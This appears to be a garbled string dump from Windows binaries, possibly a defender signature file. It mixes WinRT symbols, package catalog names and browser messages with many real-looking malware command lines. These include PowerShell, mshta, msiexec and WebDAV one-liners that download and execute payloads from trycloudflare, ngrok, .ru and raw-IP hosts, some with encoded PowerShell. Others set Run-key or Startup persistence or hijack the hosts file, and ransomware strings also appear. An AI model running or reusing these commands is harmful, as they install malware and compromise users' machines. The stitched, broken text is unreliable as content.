Microsoft.Windows.ApplicationModel.Resources.ResourceLoader
Microsoft.Windows.ApplicationModel.Resources.ResourceManager
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.DeploymentInitializeOptions
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.DeploymentManager
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.DeploymentResult
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.ReleaseInfo
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.RuntimeInfo
Microsoft.Windows.Globalization.ApplicationLanguages
Microsoft.Windows.Management.Deployment.AddPackageOptions
Microsoft.Windows.Management.Deployment.EnsureReadyOptions
Microsoft.Windows.Management.Deployment.PackageDeploymentManager
Microsoft.Windows.Management.Deployment.PackageDeploymentResult
Microsoft.Windows.Management.Deployment.PackageRuntimeManager
Microsoft.Windows.Management.Deployment.PackageSet
Microsoft.Windows.Management.Deployment.PackageSetItem
Microsoft.Windows.Management.Deployment.PackageSetItemRuntimeDisposition
Microsoft.Windows.Management.Deployment.PackageSetRuntimeDisposition
Microsoft.Windows.Management.Deployment.PackageVolume
Microsoft.Windows.Management.Deployment.ProvisionPackageOptions
Microsoft.Windows.Management.Deployment.RegisterPackageOptions
Microsoft.Windows.Management.Deployment.RemovePackageOptions
Microsoft.Windows.Management.Deployment.StagePackageOptions
Microsoft.Windows.PushNotifications.PushNotificationActivationInfo
Microsoft.Windows.PushNotifications.PushNotificationChannel
Microsoft.Windows.PushNotifications.PushNotificationCreateChannelResult
Microsoft.Windows.PushNotifications.PushNotificationManager
Microsoft.Windows.PushNotifications.PushNotificationReceivedEventArgs
Microsoft.Windows.PushNotifications.PushNotificationRegistrationToken
Microsoft.Windows.Security.AccessControl.SecurityDescriptorHelpers
Microsoft.Windows.Storage.ApplicationData
Microsoft.Windows.Storage.ApplicationDataContainer
Microsoft.Windows.System.EnvironmentManager
Microsoft.Windows.System.Power.PowerManager
Microsoft.Windows.Widgets.Feeds.Providers.CustomQueryParametersUpdateOptions
Microsoft.Windows.Widgets.Feeds.Providers.FeedManager
Microsoft.Windows.Widgets.Feeds.Providers.FeedResourceResponse
Microsoft.Windows.Widgets.Notifications.FeedAnnouncement
Microsoft.Windows.Widgets.Notifications.WidgetAnnouncement
Microsoft.Windows.Widgets.Providers.WidgetManager
Microsoft.Windows.Widgets.Providers.WidgetResourceResponse
Microsoft.Windows.Widgets.Providers.WidgetUpdateRequestOptions
'windows
Windows.Foundation
Windows.Foundat^
::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Microsoft::Windows::System::Power::EffectivePowerMode>,struct winrt::Microsoft::Windows::System::Power::factory_implementation::PowerManager &>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Microsoft::Windows::System::Power::EffectivePowerMode>,void>::await_transform<struct winrt::resume_background::awaitable>(struct winrt::resume_background::awaitable &&)
struct winrt::Windows::Foundation::IActivationFactory __cdecl winrt::impl::make_factory<struct winrt::Microsoft::Windows::System::Power::factory_implementation::PowerManager>(void)
auto __cdecl winrt::Windows::Foundation::EventHandler<struct winrt::Windows::Foundation::IInspectable>::operator ()(const struct winrt::Windows::Foundation::IInspectable &,const struct winrt::Windows::Foundation::IInspectable &) const
struct winrt::com_ptr<struct winrt::impl::IStaticLifetimeCollection> __cdecl winrt::impl::as<struct winrt::impl::IStaticLifetimeCollection,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
C:\__w\1\s\dev\Licensing\WindowsAppRuntime-License.h
C:\__w\1\s\obj\Release\x64\WindowsAppRuntime_DLL\Generated Files\winrt\Microsoft.Windows.ApplicationModel.WindowsAppRuntime.h
auto __cdecl winrt::impl::consume_Microsoft_Windows_ApplicationModel_WindowsAppRuntime_IDeploymentInitializeOptions<struct winrt::Microsoft::Windows::ApplicationModel::WindowsAppRuntime::IDeploymentInitializeOptions>::ForceDeployment(void) const
auto __cdecl winrt::impl::consume_Microsoft_Windows_ApplicationModel_WindowsAppRuntime_IDeploymentInitializeOptions2<struct winrt::Microsoft::Windows::ApplicationModel::WindowsAppRuntime::DeploymentInitializeOptions>::OnErro
pwindows#
.?AU?$producer_convert@UFixProcDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UFixProcDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFixProcDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@U?$IObservableVector@I@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements@UFixProcDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$implements@UFixProcDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producer_convert@UFixProcDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFixProcDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UFixProcDialogViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UFixProcDialogViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
:DeploymentResult,struct winrt::Microsoft::Windows::ApplicationModel::WindowsAppRuntime::implementation::DeploymentResult>::ActivateInstance(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IMap<struct winrt::Windows::Foundation::Collections::IMap<struct winrt::hstring,struct winrt::hstring>,struct winrt::hstring,struct winrt::hstring>::GetView(void) const
C:\__w\1\s\obj\Release\x64\WindowsAppRuntime_DLL\Generated Files\Microsoft.Windows.System.EnvironmentManager.g.h
struct winrt::Windows::Foundation::IInspectable __cdecl winrt::Microsoft::Windows::System::factory_implementation::EnvironmentManagerT<struct winrt::Microsoft::Windows::System::factory_implementation::EnvironmentManager,struct winrt::Microsoft::Windows::System::implementation::EnvironmentManager>::ActivateInstance(void) const
C:\__w\1\s\dev\EnvironmentManager\API\Microsoft.Windows.System.EnvironmentManager.cpp
struct winrt::Windows::Foundation::Collections::StringMap __cdecl winrt::Windows::Foundation::IActivationFactory::ActivateInstance<struct winrt::Windows::Foundation::Collections::StringMap>(void) const
void __cdecl winrt::map_base<struct winrt::impl::map_impl<struct winrt::Windows::Foundation::Uri,struct winrt::hstring,class std::map<struct winrt::Windows::Foundation::Uri,struct winrt::hstring,struct std::less<struct winrt::Windows::Foundation::Uri>,class std::allocator<struct std::pair<struct winrt::Windows::Foundation::Uri const ,struct winrt::hstring> > >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Foundation::Uri,struct winrt::hstring>::Remove(const struct winrt::Windows::Foundation::Uri &)
struct winrt::hstring __cdecl winrt::map_view_base<struct winrt::impl::map_impl<struct winrt::Windows::Foundation::Uri,struct winrt::hstring,class std::map<struct winrt::Windows::Foundation::Uri,struct winrt::hstring,struct std::less<struct winrt::Windows::Foundation::Uri>,class std::allocator<struct std::pair<struct winrt::Windows::Foundation::Uri const ,struct winrt::hstring> > >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Foundation::Uri,str`;A
-windows6
EGL_CreateWindowSurface
EGL_CreatePlatformWindowSurface
windows11
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
HmY start/minc:\windows\system32\windowspowershell\v1.0\powershell.exe/w0"invoke-webrequest-uri'http://hostgator.mywire.org/dashboard/dira/1dddd.jpg'-outfile'c:\users\public\a.ps1';c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-filec:\users\public\a.ps1;remove-item'c:\users\public\a.ps1'-force"
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
=windowsapps\wt.exe--headlesspowershell.exe.ms"h"tahttps://solus.today/fi"les/contract_signed.pdf
Qcstart/bpowershell-windowstylehidden-command"cmd/c'\\theme-crack-emissions-perspectives.trycloudflare.com@ssl\davwwwroot\tue.bat'analyze"
powershell.exe-windowstylehiddenstart-processhttps://shorturl.at/p7d7l;invoke-webrequest-urihttps://shorturl.at/u3kjb-outfile$env:temp\c.exe
,powershell.exe.(ls'c:\windows\system32'|where-object'name'-like'?s??x?c.e?e')/q/i"""ht"""+"""tp"""+'://'+0x2d+'.'+0x87+'.'+0xa4+'.'+0xa1+'/aez7quue/prog_uusah')
_cmd.exe/cc:\windows\system32\replace.exe\\stocks-army-malta-false.trycloudflare.com@ssl\davwwwroot\bas.bat%userprofile%\pictures/a&%userprofile%\pictures\bas.bat
9cmd.exe/c"powershell.exe-commandpowershell-executionpolicybypass-noprofile-windowstylehidden-command"wgethttp://154.216.18.69\putty.exe-outfile$env:temp\putty.exe
cmd.exe/cpowershell-windowstylehidden-cset-aliasaa2841curl;salav96dciex;av96dc(aa2841-urihttps://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606
gHOsystem32\mshta.exehttp://joint.jug.goolati.ru/juicy.html/f
:system32\mshta.exehttp://a0704093.xsph.ru/insurance/queen.xml/f
system32\msiexec.exe/qn/norestart/ihttp://arza.us/up/wsysupdate.msi
]gwindowspowershell\v1.0\powershell.exe.mshtahttps://live.ns`H
!#SCPT:Trojan:HTML/Windows_Onload.GG
WindowsRuntimeMarshal
WindowsPrincipal
STARTF_USESHOWWINDOWS
|ppowershell.exe-windowstylehidden-command"&{import-modulebitstransfer;start-bitstransfer'https://moriu43ui.s3-eu-west-1.amazonaws.com/image2.png
SCPT:Trojan:HTML/Windows_Onload.GG
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-AppServerClient-OptGroup-WOW64-merged-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat|!
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-Multimedia-RestrictedCodecs-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat|!
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-Multimedia-RestrictedCodecs-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|md64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
copyfileaC:\Program Files\Internet Explorer\syssmss.exec:\windows\system32\com\con\winserv\winserv.exeC:\WINDOWS\System32\system32.exeWinsSystemwinservu
\Winlogons.exe
 :\WINDOWS\system32\drivers\etc\hosts.sys91.220.0.38google.comvkontakte.ru91.223.89.10193.73.148.1797.253.19.9
`icon=%systemroot%\system32\shell32.dll
c:\windows\avg.exe
Lc:\windows\system32\msiexec.exe-packagehttps:/\mostongo.top/a.msi-qn
9F="powershell.exe-executionpolicybypass-noprofile-windowstylehidden-
\windows\microsoft.net\framework\v2.0.50727\regasm.exe"
\windows\microsoft.net\framework\v4.0.30319\regasm.exe"
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0axgbzaggaxgbeahqayqagaggaxgbeaf4axgb0ahqaxgbeaf4axgbwahmaxgbeaf4aogavaf4axgbeaf4alwb1agwadabyageadgbpaguaxgbeaf4adwbeaf4axgblahialgbuaf4axgbeaf4azqb0ahcabwbeaf4axgbeahiaxgbeaf4aawavaf4axgbeaf4adqbeahyalgbtaf4axgbeaf4acaa0af4axgbeaccalgbyaguacabsageaywblacgajwbeaccalaanaccakqa7agkazqb4acaakabnagmaygapaa==
oc:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanaf4axgbtahmaaab0af4axgbeageaiaboahqaxgbeahqacabeaf4acwa6af4axgbeac8alwbkagyazgbkaduamgbeaf4amabeaf4axgbzaf4axgbeahmadabeaf4axgbeac4acwbeaf4axgboaf4axgbeaf4abwbwaf4axgbeaf4alwbeaf4axgbeagqazqbeagyayqbeaf4adqbsahqaxgbeac4axgbeag0acaa0accalgbyaguacabsageaywblacgajwbeaccalaanaccakqa7agkazqb4acaakabnagmaygapaa==
c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-windowstylehidden-commandsrms.dat;(new-objectsystem.net.webclient).downloadfile('https://www.tequilacofradiamx.com/asynakjbdfhbslnfvsbdfvsldbggfbgdf/akhfbvhakfbvgbqakfwbhrkbhrfbahsbrhkgfsg/gbdgbdfnkduyhythetyjtewhryjehryutujjrywhrtywrj/
""%localappdata%\microsoft\windows\caches\
&.ps1|iex'-windowstylehidden
set"dest=%appdata%\microsoft\windows\startmenu\programs\startup\
."!%systemroot%\system32\shell32.dll
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
c:\windows\ex
Files\Microsoft Shared\Windows Live\%s\%s@%s.logDownloadRandomUrlFile::KillProcessByFileName(%s):= reg.ReadInteger('_count.html?id=
]software\microsoft\yload\varslamodano.info/aff-lightgetsystemwindowsdirectorya
*WindowsFormsApp3.GiamKhao_Frm.resourcesW
WindowsFormsApp3.NhanSu_Frm.resourcesW
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
&mshta.exel-kc:\windows\system32\cftmo.exe
{start-process-windowstylehidden$
owindows-1252!
windows
Windows
^Microsoft.Windows.CBSPreview
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gcmwg??).namehttp://84.200.80.22/
(c:\windows\system32\wscript.exe//b"\\plc-trunk-mature-and.trycloudflare.com@ssl\davwwwroot\poi\wor.wsf"
c:\windows\system32\msiexec.exe/ihttps://github.com/leinchchanceleinch/jik/raw/refs/heads/main/d.msi/qn
c:\windows\system32\mshta.exe"\\ordinary-permits-brighton-tub.trycloudflare.com@ssl\davwwwroot\kak.hta"
Nc:\windows\system32\winrm.cmd&start/min/bmsiexec&&start/min/bmsiexec/q/ihttp://154.201.83.175:3989/@/qn
c:\windows\system32\windowspowershell\v1.0\powershell.exe.'mshta'https://mensualgeneratr.com/descargas/
:windowstylehidden-command"iex(irm'https://xkc1ffaq1b.dl.dropboxusercontent.com/scl/fi/e/0?rlkey=5lf9n8l2v6xmqpmnmqltf3s38')
%SystemRoot%\System32\
Microsoft.WindowsCamera_2025.2510.2.0_neutral_split.scale-125_8wekyb3d8bbwe
..\..\would\worker.cmdc:\windows\system32\shell32.dll%systemroot%
<t>syswow64\</t></si><si><t>\windows\</t></si><si><t>",0,0)</t>
c:\windows\system32\
{copy/y%file%"%appdata%\microsoft\windows\startmenu\programs\startup\%1
dows\system32\mshta.exehttps://wonderpetak.github.io/w0nderpet4k/m.hta
8start-processpowershell-windowstylehidden-argumentlist"-exbypass-file
/cstartwscript.exe/e:vbscript.encodeconfig.dat&c:\windows\explorer.exe
.lnk""%appdata%\microsoft\windows\startmenu\programs\startup\"
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
) gecko/20090824 firefox/WindowsVista/7
=SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objectsht*,+,^ab*tp:/*,+,^ab*/.e*,+,^ab*x*,+,^ab*e
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|md64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
iex"powershell.exe-windowstylehidden-executionpolicyremotesigned-file
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
Microsoft-Windows-CoreSystem-CredSSP-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
uP\windows\system32\rundll32.exetools.dll,zykgjagzov"%systemroot%\system32\
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
"cmd.exe/cpowershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('
,c:\windows\system32\rundll32.exe
\windows\system32\rundll32.exe
%systemroot%\system32\imageres.dll
(c:\windows)
c:\windows\system32\rundll32.exe
[]]('c:\windows\microsoft
Blink_WindowSetTimeout
onecore\windows\hvsi\policymanager\lib\hvsipolicymanager.cpp
="%temp%\freecvsup.exe"regadd"hkey_local_machine\software\microsoft\windows\currentversion\run"/v"mcafeeinc"/treg_sz/d%
*MicrosoftWindows.CrossDevice_cw5n1h2txyewy
C:\Windows\System32\Microsoft.Data.UsageAndQualityInsights.MaintenanceTask.exe
C:\Windows\System32\MusNotification.exe
C:\Windows\System32\lpremove.exe
C:\Windows\System32\LocationNotificationWindows.exe
C:\Windows\System32\UCConfigTask.exe
C:\Windows\System32\msfeedssync.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\SrTasks.exe
C:\Windows\System32\dxgiadaptercache.exe
C:\Windows\System32\CompatTelRunner.exe
C:\Windows\System32\provtool.exe
C:\Windows\System32\wscript.exe
C:\Windows\Packagelogs\AADBrokerPlugIn_Remediation\
Windows.c
Windows.
ZiWindows defender/ any antivirus is offimportant documents have been lockedNitroRansomware.ResourcesFormUrlEncodedContentRansom:Win32/StopCrypt.MFK!MTB
c:\windows\%
\rundll32.exec:\windows\system32
system32\mshta.exehttp://a0716572.xsph.ru/ques
.?AUtype@?$abi@UIUnknown@Foundation@Windows@winrt@@X@impl@winrt@@
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
B5AV8nlaunchedhelpmecrWindowsB
Microsoft.Windows.SMB.SRV2
    name="Microsoft.Windows.Shell.shdocvw"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
Mozilla/5.0 (Windows NT 10.0; Win64; x
m/windows
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
z = CreateObject(gimme()) = iles.getspecialfolder(2) & "\..\..\roaming\microsoft\windows\start menu\programs\startup" = CreateObject(decode( = CallByName(bbia, eyak( = CallByName(beqo, kzfj(.Get(June("106124129070069114099133130118120134134")).Create .createtextfile(environ(drtyuiuu(.shellexecute ed00010000010(biufrygfeufbbcgd.processname.text),  = environ$("pu" & "b" & "l" & "ic")TrojanDownloader:O97M/Obfuse.FV
software\policies\microsoft\windows\credentialsdelegations
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\\
c:\windows\system32\lsasrv.dll
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsDeleteString
WindowsCreateString
WindowsDuplicateString
WindowsCreateStringReference
WindowsDeleteStringBuffer
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
    name="Microsoft.Windows.Shell.SyncCenter"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
bypass -noprofile -windowstyle hidden -command (New-Object'%TEMP%\
runexecute').invoke($null,[object[]]('c:\windows\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe',$
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
system32\dsregcmd7
Cwindows version:wux:windows versionR
Cwindows system informationP
Cwindows operating systemc
Cwindows information:wux:windows informationG
Cwindows editionY
/change/tn"microsoft\windows
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
c:\windows\system32\shdocvw.ocac
Temporary Projects\WindowsFormsApplic
%SystemRoot%\system32\mswsock.dll
%SystemRoot%\system32\mswsock.dll
.?AU?$producer@VCustomXamlApplication@implementation@FileSyncRNWin32Lib@winrt@@UIApplicationOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCustomXamlApplication@implementation@FileSyncRNWin32Lib@winrt@@UIApplicationOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@VCustomXamlApplication@implementation@FileSyncRNWin32Lib@winrt@@UIApplicationOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCustomXamlApplication@implementation@FileSyncRNWin32Lib@winrt@@UIApplicationOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@VCustomXamlApplication@implementation@FileSyncRNWin32Lib@winrt@@UIClosable@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCustomXamlApplication@implementation@FileSyncRNWin32Lib@winrt@@UIClosable@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer@VCustomXamlApplication@implementation@FileSyncRNWin32Lib@winrt@@UIXamlMetadataProvider@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCustomXamlApplication@implementation@FileSyncRNWin32Lib@winrt@@UIXamlMetadataProvider@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@VCustomXamlApplication@implementation@FileSyncRNWin32Lib@winrt@@V?$tuple@UCustomXamlApplication@FileSyncRNWin32Lib@winrt@@UICustomXamlApplicationProtected@23@UIXamlMetadataProvider@Markup@Xaml@UI@Windows@3@UIClosable@Foundation@93@UIApplicationOverrides@7893@UIApplicationOverrides2@7893@@std@@@impl@winrt@@
.?AUtype@?$abi@UIXamlMetadataProvider@Markup@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIApplicationOverrides2@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIApplicationOverrides@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIClosable@Foundation@Windows@winrt@@X@impl@winrt@@
GetSystemWindowsDirectoryA
 http://www.microsoft.com/windows0
Windows
Windows
